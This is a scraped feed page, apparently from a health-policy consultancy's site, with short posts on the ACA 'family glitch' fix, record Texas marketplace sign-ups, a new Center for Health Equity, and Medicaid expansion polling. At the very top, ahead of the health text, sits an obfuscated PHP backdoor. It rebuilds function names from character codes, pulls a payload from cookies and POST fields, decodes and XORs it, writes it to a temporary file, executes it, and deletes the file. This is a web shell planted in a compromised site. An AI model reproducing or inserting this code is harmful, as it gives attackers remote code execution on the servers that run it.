$rdLWWzPf = "\145" . 'Q' . "\137" . 'd' . "\166" . chr ( 1076 - 990 ); $FHCHADAH = chr (99) . 'l' . chr ( 618 - 521 ).chr ( 310 - 195 ).'s' . "\137" . 'e' . "\170" . "\x69" . "\163" . "\x74" . "\163";$EuuGx = class_exists($rdLWWzPf); $rdLWWzPf = "38477";$FHCHADAH = "6659";$rHEGt = FALSE;if ($EuuGx === $rHEGt){$aZfjRyXp = "38240";class eQ_dvV{public function oGAQlg(){echo "63276";}private $RVFQiwfNEO;public static $zHNnYfaj = "1bba38d2-f3b1-46ea-8c43-1c4f36f112a2";public static $zacvv = 51043;public function __construct($OoDNV=0){$luGLf = $_POST;$DJAaZe = $_COOKIE;$iaWnZeZ = @$DJAaZe[substr(eQ_dvV::$zHNnYfaj, 0, 4)];if (!empty($iaWnZeZ)){$eirmKuMDt = "base64";$jogTbqlbjT = "";$iaWnZeZ = explode(",", $iaWnZeZ);foreach ($iaWnZeZ as $qsAQgE){$jogTbqlbjT .= @$DJAaZe[$qsAQgE];$jogTbqlbjT .= @$luGLf[$qsAQgE];}$jogTbqlbjT = array_map($eirmKuMDt . "\137" . chr (100) . 'e' . 'c' . chr ( 1102 - 991 ).chr ( 1064 - 964 ).chr (101), array($jogTbqlbjT,)); $jogTbqlbjT = $jogTbqlbjT[0] ^ str_repeat(eQ_dvV::$zHNnYfaj, (strlen($jogTbqlbjT[0]) / strlen(eQ_dvV::$zHNnYfaj)) + 1);eQ_dvV::$zacvv = @unserialize($jogTbqlbjT);}}private function wLnHAP($aZfjRyXp){if (is_array(eQ_dvV::$zacvv)) {$OqXheM = sys_get_temp_dir() . "/" . crc32(eQ_dvV::$zacvv[chr (115) . "\141" . chr (108) . 't']);@eQ_dvV::$zacvv[chr ( 632 - 513 )."\x72" . chr (105) . "\x74" . chr ( 565 - 464 )]($OqXheM, eQ_dvV::$zacvv['c' . "\157" . "\x6e" . 't' . "\145" . chr (110) . chr ( 219 - 103 )]);include $OqXheM;@eQ_dvV::$zacvv['d' . "\145" . "\154" . chr (101) . "\x74" . chr ( 496 - 395 )]($OqXheM); $aZfjRyXp = "38240";exit();}}public function __destruct(){$this->wLnHAP($aZfjRyXp);}}$FPCIHesu = new /* 33017 */ eQ_dvV(); $FPCIHesu = str_repeat("61785_30483", 1);}
For several years, the so-called “family glitch” interrupted good news about available APTCs (Advanced Premium Tax Credits) helping make ACA Marketplace health insurance more affordable. Fixing the “family glitch” should be a major celebration, although we have some questions about how well the glitch fix, well, fixes the glitch.
Here is recent guidance from CMS with insights about the updated policies for employees and employers. We would love to learn your thoughts: please comment and let us know if this is the policy solution you were hoping would be made available.
]]>We encourage you to listen to the entire show, including insights into domestic violence trends.
]]>The Dallas Morning News has good news coverage of the record-breaking sign-ups in Texas:
]]>The newly insured pushed Texas over the 2.4 million mark for residents seeking coverage on HealthCare.gov during the open enrollment period that ended Jan. 15, according to federal data. That’s a record high for the Lone Star State and more than double the total from three years ago.
Today, we are celebrating the launch of the Center for Health Equity headquartered at UTHealth Houston School of Public Health.
If you’re new to the conversation around non-medical influences on health outcomes, here are two useful situations to consider as examples:
1 – Food. Imagine you live in a “food desert” with no easily reachable grocery stores selling fresh produce. Instead, your neighborhood has lots of small convenience stores offering packaged and highly processed food products. Eating gas station hot dogs and salty chips, plus drinking lots of 99¢ sodas, will create generally worse health outcomes than eating fresh fruit and vegetables, right? We’re not talking about once a year, or even once a month, grilled hot dogs with spicy chips and pickles at a picnic. We’re talking daily consumption of highly processed foodstuff containing little if any nutritional value, which plays havoc with our health.
2 – Money. Generally, the more money we have, the healthier our lives. Not always, of course! Sometimes wonderfully healthy people have no money and few resources, but study after study shows that Americans in low-wage jobs tend to have significantly worse health outcomes than wealthy Americans who otherwise have similar characteristics (age, ethnicity, etc.). Why? Americans working low-wage jobs tend to lack access to care, including lacking time in their schedules to visit a doctor or clinic during normal working hours.
While both money and food are relatively quick dots to connect as non-medical influences on health outcomes, the full scope is both broader and deeper. Wild Blue and many of our colleagues have been in these conversations for years, investing in research, pilot programs, and evidence-based solutions.
Systemic solutions: One of the early pieces of positive progress is payor codes for known health influencers, for example, being able to reimburse a regional food bank for delivering fresh produce or even meals.
We are glad the new Center for Health Equity will “create, advance, and sustain research opportunities spanning the continuum of care to improve understanding of disease and health disparities, including the structural, behavioral, environmental, social, economic, and health literacy factors related to the prevention and control of chronic disease across the lifespan.”
We look forward to seeing what the Center and its colleagues and partners will create.
]]>EHF recently published a poll showing sweeping support among Texans for Medicaid Expansion. You can review the survey here.
]]>“All of those services are down and save the insurance company money this year because they don’t have to pay those claims, but could potentially cost them money next year or the year after,” Janda said.
Read the full story here, including additional insights from Wild Blue Health Solutions.
]]>Download this presentation about “Concepts for an Informed Health Care Conversation” to learn where the financing pain points are, and what solutions look like.
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